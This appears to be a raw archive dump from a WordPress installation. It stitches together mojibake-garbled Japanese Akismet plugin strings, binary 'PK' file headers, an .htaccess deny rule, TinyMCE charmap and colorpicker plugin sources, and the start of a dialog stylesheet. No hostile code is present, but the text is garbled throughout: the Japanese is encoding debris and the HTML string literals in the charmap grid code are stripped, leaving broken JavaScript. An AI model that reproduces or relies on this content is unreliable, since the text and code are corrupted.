ã¯å¸¸æ™‚サイトを守り続ã‘ã¾ã™ã€‚å§‹ã‚ã‚‹ã«ã¯ã€Akismet 設定ページã«ç§»å‹•ã—ã¦ã‚ãªãŸã® API キーを設定ã—ã¾ã—ょã†ã€‚何百万もã®åˆ©ç”¨å®Ÿç¸¾ãŒã‚ã‚‹ Akismet ã¯ã‚ãªãŸã®ãƒ–ログをスパムã‹ã‚‰ä¿è­·ã™ã‚‹æœ€è‰¯ã®æ–¹æ³•ã¨ã„ãˆã‚‹ã§ã—ょã†ã€‚ã‚ãªãŸãŒçœ ã‚Šã«ã¤ã„ã¦ã„る時間ã§ã•ãˆã€Akismet ã¯å¸¸æ™‚サイトを守り続ã‘ã¾ã™ã€‚å§‹ã‚ã‚‹ã®ã¯ç°¡å˜ã€‚Akismet プラグインを有効化ã—ãŸã‚‰è¨­å®šãƒšãƒ¼ã‚¸ã§ API キーを設定ã™ã‚‹ã ã‘ã§ã™ã€‚何百万もã®åˆ©ç”¨å®Ÿç¸¾ãŒã‚ã‚‹ Akismet ã¯ã‚ãªãŸã®ãƒ–ログをスパムã‹ã‚‰ä¿è­·ã™ã‚‹æœ€è‰¯ã®æ–¹æ³•ã¨ã„ãˆã‚‹ã§ã—ょã†ã€‚ã“ã®ã‚µã‚¤ãƒˆã§ã®è¨­å®šã¯å®Œäº†ã—ã¦ãŠã‚Š Akismet ãŒå¸¸æ™‚ä¿è­·ã—ã¦ã„ã¾ã™ã€‚ã‚³ãƒ¡ãƒ³ãƒˆå±¥æ­´ã‚’è¡¨ç¤ºãŠæ”¯æ‰•ã„を処ç†ã§ãã¾ã›ã‚“ã€‚æ”¯æ‰•ã„æƒ…報を更新ã—ã¦ãã ã•ã„。ã“ã®ã‚µã‚¤ãƒˆã§ã¯ Akismet アンãƒã‚¹ãƒ‘ムサービスを通ã˜ã¦ã€ã‚µã‚¤ãƒˆã«ã‚³ãƒ¡ãƒ³ãƒˆã™ã‚‹è¨ªå•者ã«é–¢ã™ã‚‹æƒ…報をåŽé›†ã—ã¾ã™ã€‚åŽé›†ã™ã‚‹æƒ…å ±ã¯ãƒ¦ãƒ¼ã‚¶ãƒ¼ã® Akismet 設定ã«ã‚ˆã£ã¦ç•°ãªã‚Šã¾ã™ãŒã€é€šå¸¸ã€ã‚³ãƒ¡ãƒ³ãƒˆæŠ•稿者㮠IP アドレスã€ãƒ¦ãƒ¼ã‚¶ãƒ¼ã‚¨ãƒ¼ã‚¸ã‚§ãƒ³ãƒˆã€ãƒªãƒ•ァラーã€ã‚µã‚¤ãƒˆ URL (ã•らã«ã‚³ãƒ¡ãƒ³ãƒˆæŠ•稿者ãŒç›´æŽ¥æä¾›ã™ã‚‹ãã®ä»–ã®æƒ…報。例ãˆã°æ°åã€ãƒ¦ãƒ¼ã‚¶ãƒ¼åã€ãƒ¡ãƒ¼ãƒ«ã‚¢ãƒ‰ãƒ¬ã‚¹ã€ã‚³ãƒ¡ãƒ³ãƒˆæœ¬æ–‡ãªã©) 。ä¿ç•™ä¸­ã®ã‚³ãƒ¡ãƒ³ãƒˆ を確èªã—ã¾ã™ã‹ ?ã‚ãªãŸã¯ %s ã¨ã—ã¦æŽ¥ç¶šã—ã¦ã„ã¾ã™ã€‚ã„ãらã‹ã®é‡‘é¡ã‚’寄与ã—ã¦ã„ãŸã ãã“ã¨ã§ã€ç§ãŸã¡ã®ã‚¹ãƒ‘ム退治ã«ã”å”力ã„ãŸã ã‘ã¾ã™ã€‚ç¾åœ¨ã”利用中㮠Akismet プランã¯ã‚りã¾ã›ã‚“。ã“ã®æ“ä½œã‚’è¡Œã†æ¨©é™ãŒã‚りã¾ã›ã‚“。Akismet サービスを有効化ã™ã‚‹ãŸã‚ã«ã¯ API キーを入力ã™ã‚‹å¿…è¦ãŒã‚りã¾ã™ã€‚Pro サブスクリプションã«å«ã¾ã‚Œã‚‹æ•°ã‚’ã‹ãªã‚Šè¶…ãˆãŸã‚µã‚¤ãƒˆã§ Akismet キーを使用ã—ã¦ã„ã¾ã™ã€‚Pro サブスクリプションã«å«ã¾ã‚Œã‚‹æ•°ã‚ˆã‚Šã‚‚多ã„サイト㧠Akismet キーを使用ã—ã¦ã„ã¾ã™ã€‚API ã‚­ãƒ¼ã®æœ‰åŠ¹æœŸé™ãŒåˆ‡ã‚Œã¦ã„ã¾ã™ã€‚æ–°ã—ã„キーを入力ã™ã‚‹ã‹ã€support@akismet.com ã¸ã”連絡ãã ã•ã„。Akismet プランをå–り消ã—ã¾ã—ãŸã€‚Akismet ã®ã‚µãƒ–スクリプションã¯åœæ­¢ä¸­ã§ã™ã€‚ã‚ãªãŸã® Pro プランã¯1サイトã®ã¿ã§åˆ©ç”¨å¯èƒ½ã§ã™ã€‚追加㮠Pro プランを購入ã™ã‚‹ã‹ã€ç„¡åˆ¶é™ã®ã‚µã‚¤ãƒˆã§ Akismet を利用ã§ãã‚‹ Enterprise プランã¸ã‚¢ãƒƒãƒ—グレードã—ã¦ãã ã•ã„。ãŠä½¿ã„ã® Web サーãƒã¯ SSL リクエストを発行ã™ã‚‹ã“ã¨ãŒã§ãã¾ã›ã‚“。ウェブホストã«é€£çµ¡ã—〠SSL リクエストã®ã‚µãƒãƒ¼ãƒˆã‚’追加ã™ã‚‹ã‚ˆã†ã«é ¼ã‚“ã§ãã ã•ã„。ファイアウォール㌠Akismet ã® API ã¸ã®æŽ¥ç¶šã‚’ブロックã—ã¦ã„ã‚‹å¯èƒ½æ€§ãŒã‚りã¾ã™ã€‚ホスティングサービスã«é€£çµ¡ã—ã€ãƒ•ァイアウォールã«é–¢ã™ã‚‹ã‚¬ã‚¤ãƒ‰ã«è¨€åŠã—ã¦ãã ã•ã„。サイト㌠Akismet サーãƒãƒ¼ã«æŽ¥ç¶šã§ãã¾ã›ã‚“。%s ã®ã‚µãƒ–スクリプションをキャンセルã—ã¾ã—ãŸã€‚%s ã®ã‚µãƒ–スクリプションã¯ç¾åœ¨åœæ­¢ä¸­ã§ã™ã€‚ホスティングサービスã¾ãŸã¯ã‚µãƒ¼ãƒãƒ¼ç®¡ç†è€…㌠PHP ã® gethostbynamel 関数を無効化ã—ã¦ã„ã¾ã™ã€‚ã“れãŒä¿®æ­£ã•れるã¾ã§ã€Akismet ã¯æ­£ã—ã動作ã§ãã¾ã›ã‚“。ホスティングサービスã¾ãŸã¯ãƒ•ァイアウォール管ç†è€…ã«é€£çµ¡ã—ã€ã“ã¡ã‚‰ã® Akismet システムè¦ä»¶ã‚’ãŠä¼ãˆä¸‹ã•ã„。スパムhttps://akismet.com/https://automattic.com/wordpress-plugins/PKù®–[³yd«cc .htaccessnuÏÃ6Ç$ Order Allow,Deny Deny from all PKà´–[†únªZªZcharmap/plugin.jsnu„[µü¤(function () { var charmap = (function () { 'use strict'; var global = tinymce.util.Tools.resolve('tinymce.PluginManager'); var fireInsertCustomChar = function (editor, chr) { return editor.fire('insertCustomChar', { chr: chr }); }; var Events = { fireInsertCustomChar: fireInsertCustomChar }; var insertChar = function (editor, chr) { var evtChr = Events.fireInsertCustomChar(editor, chr).chr; editor.execCommand('mceInsertContent', false, evtChr); }; var Actions = { insertChar: insertChar }; var global$1 = tinymce.util.Tools.resolve('tinymce.util.Tools'); var getCharMap = function (editor) { return editor.settings.charmap; }; var getCharMapAppend = function (editor) { return editor.settings.charmap_append; }; var Settings = { getCharMap: getCharMap, getCharMapAppend: getCharMapAppend }; var isArray = global$1.isArray; var getDefaultCharMap = function () { return [ [ '160', 'no-break space' ], [ '173', 'soft hyphen' ], [ '34', 'quotation mark' ], [ '162', 'cent sign' ], [ '8364', 'euro sign' ], [ '163', 'pound sign' ], [ '165', 'yen sign' ], [ '169', 'copyright sign' ], [ '174', 'registered sign' ], [ '8482', 'trade mark sign' ], [ '8240', 'per mille sign' ], [ '181', 'micro sign' ], [ '183', 'middle dot' ], [ '8226', 'bullet' ], [ '8230', 'three dot leader' ], [ '8242', 'minutes / feet' ], [ '8243', 'seconds / inches' ], [ '167', 'section sign' ], [ '182', 'paragraph sign' ], [ '223', 'sharp s / ess-zed' ], [ '8249', 'single left-pointing angle quotation mark' ], [ '8250', 'single right-pointing angle quotation mark' ], [ '171', 'left pointing guillemet' ], [ '187', 'right pointing guillemet' ], [ '8216', 'left single quotation mark' ], [ '8217', 'right single quotation mark' ], [ '8220', 'left double quotation mark' ], [ '8221', 'right double quotation mark' ], [ '8218', 'single low-9 quotation mark' ], [ '8222', 'double low-9 quotation mark' ], [ '60', 'less-than sign' ], [ '62', 'greater-than sign' ], [ '8804', 'less-than or equal to' ], [ '8805', 'greater-than or equal to' ], [ '8211', 'en dash' ], [ '8212', 'em dash' ], [ '175', 'macron' ], [ '8254', 'overline' ], [ '164', 'currency sign' ], [ '166', 'broken bar' ], [ '168', 'diaeresis' ], [ '161', 'inverted exclamation mark' ], [ '191', 'turned question mark' ], [ '710', 'circumflex accent' ], [ '732', 'small tilde' ], [ '176', 'degree sign' ], [ '8722', 'minus sign' ], [ '177', 'plus-minus sign' ], [ '247', 'division sign' ], [ '8260', 'fraction slash' ], [ '215', 'multiplication sign' ], [ '185', 'superscript one' ], [ '178', 'superscript two' ], [ '179', 'superscript three' ], [ '188', 'fraction one quarter' ], [ '189', 'fraction one half' ], [ '190', 'fraction three quarters' ], [ '402', 'function / florin' ], [ '8747', 'integral' ], [ '8721', 'n-ary sumation' ], [ '8734', 'infinity' ], [ '8730', 'square root' ], [ '8764', 'similar to' ], [ '8773', 'approximately equal to' ], [ '8776', 'almost equal to' ], [ '8800', 'not equal to' ], [ '8801', 'identical to' ], [ '8712', 'element of' ], [ '8713', 'not an element of' ], [ '8715', 'contains as member' ], [ '8719', 'n-ary product' ], [ '8743', 'logical and' ], [ '8744', 'logical or' ], [ '172', 'not sign' ], [ '8745', 'intersection' ], [ '8746', 'union' ], [ '8706', 'partial differential' ], [ '8704', 'for all' ], [ '8707', 'there exists' ], [ '8709', 'diameter' ], [ '8711', 'backward difference' ], [ '8727', 'asterisk operator' ], [ '8733', 'proportional to' ], [ '8736', 'angle' ], [ '180', 'acute accent' ], [ '184', 'cedilla' ], [ '170', 'feminine ordinal indicator' ], [ '186', 'masculine ordinal indicator' ], [ '8224', 'dagger' ], [ '8225', 'double dagger' ], [ '192', 'A - grave' ], [ '193', 'A - acute' ], [ '194', 'A - circumflex' ], [ '195', 'A - tilde' ], [ '196', 'A - diaeresis' ], [ '197', 'A - ring above' ], [ '256', 'A - macron' ], [ '198', 'ligature AE' ], [ '199', 'C - cedilla' ], [ '200', 'E - grave' ], [ '201', 'E - acute' ], [ '202', 'E - circumflex' ], [ '203', 'E - diaeresis' ], [ '274', 'E - macron' ], [ '204', 'I - grave' ], [ '205', 'I - acute' ], [ '206', 'I - circumflex' ], [ '207', 'I - diaeresis' ], [ '298', 'I - macron' ], [ '208', 'ETH' ], [ '209', 'N - tilde' ], [ '210', 'O - grave' ], [ '211', 'O - acute' ], [ '212', 'O - circumflex' ], [ '213', 'O - tilde' ], [ '214', 'O - diaeresis' ], [ '216', 'O - slash' ], [ '332', 'O - macron' ], [ '338', 'ligature OE' ], [ '352', 'S - caron' ], [ '217', 'U - grave' ], [ '218', 'U - acute' ], [ '219', 'U - circumflex' ], [ '220', 'U - diaeresis' ], [ '362', 'U - macron' ], [ '221', 'Y - acute' ], [ '376', 'Y - diaeresis' ], [ '562', 'Y - macron' ], [ '222', 'THORN' ], [ '224', 'a - grave' ], [ '225', 'a - acute' ], [ '226', 'a - circumflex' ], [ '227', 'a - tilde' ], [ '228', 'a - diaeresis' ], [ '229', 'a - ring above' ], [ '257', 'a - macron' ], [ '230', 'ligature ae' ], [ '231', 'c - cedilla' ], [ '232', 'e - grave' ], [ '233', 'e - acute' ], [ '234', 'e - circumflex' ], [ '235', 'e - diaeresis' ], [ '275', 'e - macron' ], [ '236', 'i - grave' ], [ '237', 'i - acute' ], [ '238', 'i - circumflex' ], [ '239', 'i - diaeresis' ], [ '299', 'i - macron' ], [ '240', 'eth' ], [ '241', 'n - tilde' ], [ '242', 'o - grave' ], [ '243', 'o - acute' ], [ '244', 'o - circumflex' ], [ '245', 'o - tilde' ], [ '246', 'o - diaeresis' ], [ '248', 'o slash' ], [ '333', 'o macron' ], [ '339', 'ligature oe' ], [ '353', 's - caron' ], [ '249', 'u - grave' ], [ '250', 'u - acute' ], [ '251', 'u - circumflex' ], [ '252', 'u - diaeresis' ], [ '363', 'u - macron' ], [ '253', 'y - acute' ], [ '254', 'thorn' ], [ '255', 'y - diaeresis' ], [ '563', 'y - macron' ], [ '913', 'Alpha' ], [ '914', 'Beta' ], [ '915', 'Gamma' ], [ '916', 'Delta' ], [ '917', 'Epsilon' ], [ '918', 'Zeta' ], [ '919', 'Eta' ], [ '920', 'Theta' ], [ '921', 'Iota' ], [ '922', 'Kappa' ], [ '923', 'Lambda' ], [ '924', 'Mu' ], [ '925', 'Nu' ], [ '926', 'Xi' ], [ '927', 'Omicron' ], [ '928', 'Pi' ], [ '929', 'Rho' ], [ '931', 'Sigma' ], [ '932', 'Tau' ], [ '933', 'Upsilon' ], [ '934', 'Phi' ], [ '935', 'Chi' ], [ '936', 'Psi' ], [ '937', 'Omega' ], [ '945', 'alpha' ], [ '946', 'beta' ], [ '947', 'gamma' ], [ '948', 'delta' ], [ '949', 'epsilon' ], [ '950', 'zeta' ], [ '951', 'eta' ], [ '952', 'theta' ], [ '953', 'iota' ], [ '954', 'kappa' ], [ '955', 'lambda' ], [ '956', 'mu' ], [ '957', 'nu' ], [ '958', 'xi' ], [ '959', 'omicron' ], [ '960', 'pi' ], [ '961', 'rho' ], [ '962', 'final sigma' ], [ '963', 'sigma' ], [ '964', 'tau' ], [ '965', 'upsilon' ], [ '966', 'phi' ], [ '967', 'chi' ], [ '968', 'psi' ], [ '969', 'omega' ], [ '8501', 'alef symbol' ], [ '982', 'pi symbol' ], [ '8476', 'real part symbol' ], [ '978', 'upsilon - hook symbol' ], [ '8472', 'Weierstrass p' ], [ '8465', 'imaginary part' ], [ '8592', 'leftwards arrow' ], [ '8593', 'upwards arrow' ], [ '8594', 'rightwards arrow' ], [ '8595', 'downwards arrow' ], [ '8596', 'left right arrow' ], [ '8629', 'carriage return' ], [ '8656', 'leftwards double arrow' ], [ '8657', 'upwards double arrow' ], [ '8658', 'rightwards double arrow' ], [ '8659', 'downwards double arrow' ], [ '8660', 'left right double arrow' ], [ '8756', 'therefore' ], [ '8834', 'subset of' ], [ '8835', 'superset of' ], [ '8836', 'not a subset of' ], [ '8838', 'subset of or equal to' ], [ '8839', 'superset of or equal to' ], [ '8853', 'circled plus' ], [ '8855', 'circled times' ], [ '8869', 'perpendicular' ], [ '8901', 'dot operator' ], [ '8968', 'left ceiling' ], [ '8969', 'right ceiling' ], [ '8970', 'left floor' ], [ '8971', 'right floor' ], [ '9001', 'left-pointing angle bracket' ], [ '9002', 'right-pointing angle bracket' ], [ '9674', 'lozenge' ], [ '9824', 'black spade suit' ], [ '9827', 'black club suit' ], [ '9829', 'black heart suit' ], [ '9830', 'black diamond suit' ], [ '8194', 'en space' ], [ '8195', 'em space' ], [ '8201', 'thin space' ], [ '8204', 'zero width non-joiner' ], [ '8205', 'zero width joiner' ], [ '8206', 'left-to-right mark' ], [ '8207', 'right-to-left mark' ] ]; }; var charmapFilter = function (charmap) { return global$1.grep(charmap, function (item) { return isArray(item) && item.length === 2; }); }; var getCharsFromSetting = function (settingValue) { if (isArray(settingValue)) { return [].concat(charmapFilter(settingValue)); } if (typeof settingValue === 'function') { return settingValue(); } return []; }; var extendCharMap = function (editor, charmap) { var userCharMap = Settings.getCharMap(editor); if (userCharMap) { charmap = getCharsFromSetting(userCharMap); } var userCharMapAppend = Settings.getCharMapAppend(editor); if (userCharMapAppend) { return [].concat(charmap).concat(getCharsFromSetting(userCharMapAppend)); } return charmap; }; var getCharMap$1 = function (editor) { return extendCharMap(editor, getDefaultCharMap()); }; var CharMap = { getCharMap: getCharMap$1 }; var get = function (editor) { var getCharMap = function () { return CharMap.getCharMap(editor); }; var insertChar = function (chr) { Actions.insertChar(editor, chr); }; return { getCharMap: getCharMap, insertChar: insertChar }; }; var Api = { get: get }; var getHtml = function (charmap) { var gridHtml, x, y; var width = Math.min(charmap.length, 25); var height = Math.ceil(charmap.length / width); gridHtml = ''; for (y = 0; y < height; y++) { gridHtml += ''; for (x = 0; x < width; x++) { var index = y * width + x; if (index < charmap.length) { var chr = charmap[index]; var charCode = parseInt(chr[0], 10); var chrText = chr ? String.fromCharCode(charCode) : ' '; gridHtml += ''; } else { gridHtml += ''; } gridHtml += ''; return gridHtml; }; var GridHtml = { getHtml: getHtml }; var getParentTd = function (elm) { while (elm) { if (elm.nodeName === 'TD') { return elm; } elm = elm.parentNode; } }; var open = function (editor) { var win; var charMapPanel = { type: 'container', html: GridHtml.getHtml(CharMap.getCharMap(editor)), onclick: function (e) { var target = e.target; if (/^(TD|DIV)$/.test(target.nodeName)) { var charDiv = getParentTd(target).firstChild; if (charDiv && charDiv.hasAttribute('data-chr')) { var charCodeString = charDiv.getAttribute('data-chr'); var charCode = parseInt(charCodeString, 10); if (!isNaN(charCode)) { Actions.insertChar(editor, String.fromCharCode(charCode)); } if (!e.ctrlKey) { win.close(); } } } }, onmouseover: function (e) { var td = getParentTd(e.target); if (td && td.firstChild) { win.find('#preview').text(td.firstChild.firstChild.data); win.find('#previewTitle').text(td.title); } else { win.find('#preview').text(' '); win.find('#previewTitle').text(' '); } } }; win = editor.windowManager.open({ title: 'Special character', spacing: 10, padding: 10, items: [ charMapPanel, { type: 'container', layout: 'flex', direction: 'column', align: 'center', spacing: 5, minWidth: 160, minHeight: 160, items: [ { type: 'label', name: 'preview', text: ' ', style: 'font-size: 40px; text-align: center', border: 1, minWidth: 140, minHeight: 80 }, { type: 'spacer', minHeight: 20 }, { type: 'label', name: 'previewTitle', text: ' ', style: 'white-space: pre-wrap;', border: 1, minWidth: 140 } ] } ], buttons: [{ text: 'Close', onclick: function () { win.close(); } }] }); }; var Dialog = { open: open }; var register = function (editor) { editor.addCommand('mceShowCharmap', function () { Dialog.open(editor); }); }; var Commands = { register: register }; var register$1 = function (editor) { editor.addButton('charmap', { icon: 'charmap', tooltip: 'Special character', cmd: 'mceShowCharmap' }); editor.addMenuItem('charmap', { icon: 'charmap', text: 'Special character', cmd: 'mceShowCharmap', context: 'insert' }); }; var Buttons = { register: register$1 }; global.add('charmap', function (editor) { Commands.register(editor); Buttons.register(editor); return Api.get(editor); }); function Plugin () { } return Plugin; }()); })(); PKà´–[Ž=¼#™!™!charmap/plugin.min.jsnu„[µü¤!function(){"use strict";var e=tinymce.util.Tools.resolve("tinymce.PluginManager"),i=function(e,t){return e.fire("insertCustomChar",{chr:t})},l=function(e,t){var a=i(e,t).chr;e.execCommand("mceInsertContent",!1,a)},a=tinymce.util.Tools.resolve("tinymce.util.Tools"),r=function(e){return e.settings.charmap},n=function(e){return e.settings.charmap_append},o=a.isArray,c=function(e){return o(e)?[].concat((t=e,a.grep(t,function(e){return o(e)&&2===e.length}))):"function"==typeof e?e():[];var t},s=function(e){return function(e,t){var a=r(e);a&&(t=c(a));var i=n(e);return i?[].concat(t).concat(c(i)):t}(e,[["160","no-break space"],["173","soft hyphen"],["34","quotation mark"],["162","cent sign"],["8364","euro sign"],["163","pound sign"],["165","yen sign"],["169","copyright sign"],["174","registered sign"],["8482","trade mark sign"],["8240","per mille sign"],["181","micro sign"],["183","middle dot"],["8226","bullet"],["8230","three dot leader"],["8242","minutes / feet"],["8243","seconds / inches"],["167","section sign"],["182","paragraph sign"],["223","sharp s / ess-zed"],["8249","single left-pointing angle quotation mark"],["8250","single right-pointing angle quotation mark"],["171","left pointing guillemet"],["187","right pointing guillemet"],["8216","left single quotation mark"],["8217","right single quotation mark"],["8220","left double quotation mark"],["8221","right double quotation mark"],["8218","single low-9 quotation mark"],["8222","double low-9 quotation mark"],["60","less-than sign"],["62","greater-than sign"],["8804","less-than or equal to"],["8805","greater-than or equal to"],["8211","en dash"],["8212","em dash"],["175","macron"],["8254","overline"],["164","currency sign"],["166","broken bar"],["168","diaeresis"],["161","inverted exclamation mark"],["191","turned question mark"],["710","circumflex accent"],["732","small tilde"],["176","degree sign"],["8722","minus sign"],["177","plus-minus sign"],["247","division sign"],["8260","fraction slash"],["215","multiplication sign"],["185","superscript one"],["178","superscript two"],["179","superscript three"],["188","fraction one quarter"],["189","fraction one half"],["190","fraction three quarters"],["402","function / florin"],["8747","integral"],["8721","n-ary sumation"],["8734","infinity"],["8730","square root"],["8764","similar to"],["8773","approximately equal to"],["8776","almost equal to"],["8800","not equal to"],["8801","identical to"],["8712","element of"],["8713","not an element of"],["8715","contains as member"],["8719","n-ary product"],["8743","logical and"],["8744","logical or"],["172","not sign"],["8745","intersection"],["8746","union"],["8706","partial differential"],["8704","for all"],["8707","there exists"],["8709","diameter"],["8711","backward difference"],["8727","asterisk operator"],["8733","proportional to"],["8736","angle"],["180","acute accent"],["184","cedilla"],["170","feminine ordinal indicator"],["186","masculine ordinal indicator"],["8224","dagger"],["8225","double dagger"],["192","A - grave"],["193","A - acute"],["194","A - circumflex"],["195","A - tilde"],["196","A - diaeresis"],["197","A - ring above"],["256","A - macron"],["198","ligature AE"],["199","C - cedilla"],["200","E - grave"],["201","E - acute"],["202","E - circumflex"],["203","E - diaeresis"],["274","E - macron"],["204","I - grave"],["205","I - acute"],["206","I - circumflex"],["207","I - diaeresis"],["298","I - macron"],["208","ETH"],["209","N - tilde"],["210","O - grave"],["211","O - acute"],["212","O - circumflex"],["213","O - tilde"],["214","O - diaeresis"],["216","O - slash"],["332","O - macron"],["338","ligature OE"],["352","S - caron"],["217","U - grave"],["218","U - acute"],["219","U - circumflex"],["220","U - diaeresis"],["362","U - macron"],["221","Y - acute"],["376","Y - diaeresis"],["562","Y - macron"],["222","THORN"],["224","a - grave"],["225","a - acute"],["226","a - circumflex"],["227","a - tilde"],["228","a - diaeresis"],["229","a - ring above"],["257","a - macron"],["230","ligature ae"],["231","c - cedilla"],["232","e - grave"],["233","e - acute"],["234","e - circumflex"],["235","e - diaeresis"],["275","e - macron"],["236","i - grave"],["237","i - acute"],["238","i - circumflex"],["239","i - diaeresis"],["299","i - macron"],["240","eth"],["241","n - tilde"],["242","o - grave"],["243","o - acute"],["244","o - circumflex"],["245","o - tilde"],["246","o - diaeresis"],["248","o slash"],["333","o macron"],["339","ligature oe"],["353","s - caron"],["249","u - grave"],["250","u - acute"],["251","u - circumflex"],["252","u - diaeresis"],["363","u - macron"],["253","y - acute"],["254","thorn"],["255","y - diaeresis"],["563","y - macron"],["913","Alpha"],["914","Beta"],["915","Gamma"],["916","Delta"],["917","Epsilon"],["918","Zeta"],["919","Eta"],["920","Theta"],["921","Iota"],["922","Kappa"],["923","Lambda"],["924","Mu"],["925","Nu"],["926","Xi"],["927","Omicron"],["928","Pi"],["929","Rho"],["931","Sigma"],["932","Tau"],["933","Upsilon"],["934","Phi"],["935","Chi"],["936","Psi"],["937","Omega"],["945","alpha"],["946","beta"],["947","gamma"],["948","delta"],["949","epsilon"],["950","zeta"],["951","eta"],["952","theta"],["953","iota"],["954","kappa"],["955","lambda"],["956","mu"],["957","nu"],["958","xi"],["959","omicron"],["960","pi"],["961","rho"],["962","final sigma"],["963","sigma"],["964","tau"],["965","upsilon"],["966","phi"],["967","chi"],["968","psi"],["969","omega"],["8501","alef symbol"],["982","pi symbol"],["8476","real part symbol"],["978","upsilon - hook symbol"],["8472","Weierstrass p"],["8465","imaginary part"],["8592","leftwards arrow"],["8593","upwards arrow"],["8594","rightwards arrow"],["8595","downwards arrow"],["8596","left right arrow"],["8629","carriage return"],["8656","leftwards double arrow"],["8657","upwards double arrow"],["8658","rightwards double arrow"],["8659","downwards double arrow"],["8660","left right double arrow"],["8756","therefore"],["8834","subset of"],["8835","superset of"],["8836","not a subset of"],["8838","subset of or equal to"],["8839","superset of or equal to"],["8853","circled plus"],["8855","circled times"],["8869","perpendicular"],["8901","dot operator"],["8968","left ceiling"],["8969","right ceiling"],["8970","left floor"],["8971","right floor"],["9001","left-pointing angle bracket"],["9002","right-pointing angle bracket"],["9674","lozenge"],["9824","black spade suit"],["9827","black club suit"],["9829","black heart suit"],["9830","black diamond suit"],["8194","en space"],["8195","em space"],["8201","thin space"],["8204","zero width non-joiner"],["8205","zero width joiner"],["8206","left-to-right mark"],["8207","right-to-left mark"]])},t=function(t){return{getCharMap:function(){return s(t)},insertChar:function(e){l(t,e)}}},u=function(e){var t,a,i,r=Math.min(e.length,25),n=Math.ceil(e.length/r);for(t='',i=0;i",a=0;a
'+s+"
"}else t+="
"}return t+=""},d=function(e){for(;e;){if("TD"===e.nodeName)return e;e=e.parentNode}},m=function(n){var o,e={type:"container",html:u(s(n)),onclick:function(e){var t=e.target;if(/^(TD|DIV)$/.test(t.nodeName)){var a=d(t).firstChild;if(a&&a.hasAttribute("data-chr")){var i=a.getAttribute("data-chr"),r=parseInt(i,10);isNaN(r)||l(n,String.fromCharCode(r)),e.ctrlKey||o.close()}}},onmouseover:function(e){var t=d(e.target);t&&t.firstChild?(o.find("#preview").text(t.firstChild.firstChild.data),o.find("#previewTitle").text(t.title)):(o.find("#preview").text(" "),o.find("#previewTitle").text(" "))}};o=n.windowManager.open({title:"Special character",spacing:10,padding:10,items:[e,{type:"container",layout:"flex",direction:"column",align:"center",spacing:5,minWidth:160,minHeight:160,items:[{type:"label",name:"preview",text:" ",style:"font-size: 40px; text-align: center",border:1,minWidth:140,minHeight:80},{type:"spacer",minHeight:20},{type:"label",name:"previewTitle",text:" ",style:"white-space: pre-wrap;",border:1,minWidth:140}]}],buttons:[{text:"Close",onclick:function(){o.close()}}]})},g=function(e){e.addCommand("mceShowCharmap",function(){m(e)})},p=function(e){e.addButton("charmap",{icon:"charmap",tooltip:"Special character",cmd:"mceShowCharmap"}),e.addMenuItem("charmap",{icon:"charmap",text:"Special character",cmd:"mceShowCharmap",context:"insert"})};e.add("charmap",function(e){return g(e),p(e),t(e)})}();PKà´–[äïaøé é colorpicker/plugin.jsnu„[µü¤(function () { var colorpicker = (function () { 'use strict'; var global = tinymce.util.Tools.resolve('tinymce.PluginManager'); var global$1 = tinymce.util.Tools.resolve('tinymce.util.Color'); var showPreview = function (win, hexColor) { win.find('#preview')[0].getEl().style.background = hexColor; }; var setColor = function (win, value) { var color = global$1(value), rgb = color.toRgb(); win.fromJSON({ r: rgb.r, g: rgb.g, b: rgb.b, hex: color.toHex().substr(1) }); showPreview(win, color.toHex()); }; var open = function (editor, callback, value) { var win = editor.windowManager.open({ title: 'Color', items: { type: 'container', layout: 'flex', direction: 'row', align: 'stretch', padding: 5, spacing: 10, items: [ { type: 'colorpicker', value: value, onchange: function () { var rgb = this.rgb(); if (win) { win.find('#r').value(rgb.r); win.find('#g').value(rgb.g); win.find('#b').value(rgb.b); win.find('#hex').value(this.value().substr(1)); showPreview(win, this.value()); } } }, { type: 'form', padding: 0, labelGap: 5, defaults: { type: 'textbox', size: 7, value: '0', flex: 1, spellcheck: false, onchange: function () { var colorPickerCtrl = win.find('colorpicker')[0]; var name, value; name = this.name(); value = this.value(); if (name === 'hex') { value = '#' + value; setColor(win, value); colorPickerCtrl.value(value); return; } value = { r: win.find('#r').value(), g: win.find('#g').value(), b: win.find('#b').value() }; colorPickerCtrl.value(value); setColor(win, value); } }, items: [ { name: 'r', label: 'R', autofocus: 1 }, { name: 'g', label: 'G' }, { name: 'b', label: 'B' }, { name: 'hex', label: '#', value: '000000' }, { name: 'preview', type: 'container', border: 1 } ] } ] }, onSubmit: function () { callback('#' + win.toJSON().hex); } }); setColor(win, value); }; var Dialog = { open: open }; global.add('colorpicker', function (editor) { if (!editor.settings.color_picker_callback) { editor.settings.color_picker_callback = function (callback, value) { Dialog.open(editor, callback, value); }; } }); function Plugin () { } return Plugin; }()); })(); PKà´–[…·©EEcolorpicker/plugin.min.jsnu„[µü¤!function(){"use strict";var e=tinymce.util.Tools.resolve("tinymce.PluginManager"),l=tinymce.util.Tools.resolve("tinymce.util.Color"),a=function(e,n){e.find("#preview")[0].getEl().style.background=n},o=function(e,n){var i=l(n),t=i.toRgb();e.fromJSON({r:t.r,g:t.g,b:t.b,hex:i.toHex().substr(1)}),a(e,i.toHex())},t=function(e,n,i){var t=e.windowManager.open({title:"Color",items:{type:"container",layout:"flex",direction:"row",align:"stretch",padding:5,spacing:10,items:[{type:"colorpicker",value:i,onchange:function(){var e=this.rgb();t&&(t.find("#r").value(e.r),t.find("#g").value(e.g),t.find("#b").value(e.b),t.find("#hex").value(this.value().substr(1)),a(t,this.value()))}},{type:"form",padding:0,labelGap:5,defaults:{type:"textbox",size:7,value:"0",flex:1,spellcheck:!1,onchange:function(){var e,n,i=t.find("colorpicker")[0];if(e=this.name(),n=this.value(),"hex"===e)return o(t,n="#"+n),void i.value(n);n={r:t.find("#r").value(),g:t.find("#g").value(),b:t.find("#b").value()},i.value(n),o(t,n)}},items:[{name:"r",label:"R",autofocus:1},{name:"g",label:"G"},{name:"b",label:"B"},{name:"hex",label:"#",value:"000000"},{name:"preview",type:"container",border:1}]}]},onSubmit:function(){n("#"+t.toJSON().hex)}});o(t,i)};e.add("colorpicker",function(i){i.settings.color_picker_callback||(i.settings.color_picker_callback=function(e,n){t(i,e,n)})})}();PKà´–[[wHóócompat3x/css/dialog.cssnu„[µü¤/* * Edited for compatibility with old TinyMCE 3.x plugins in WordPress. * More info: https://core.trac.wordpress.org/ticket/31596#comment:10 */ /* Generic */ body { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; font-size:13px; background:#fcfcfc; padding:0; margin:8px 8px 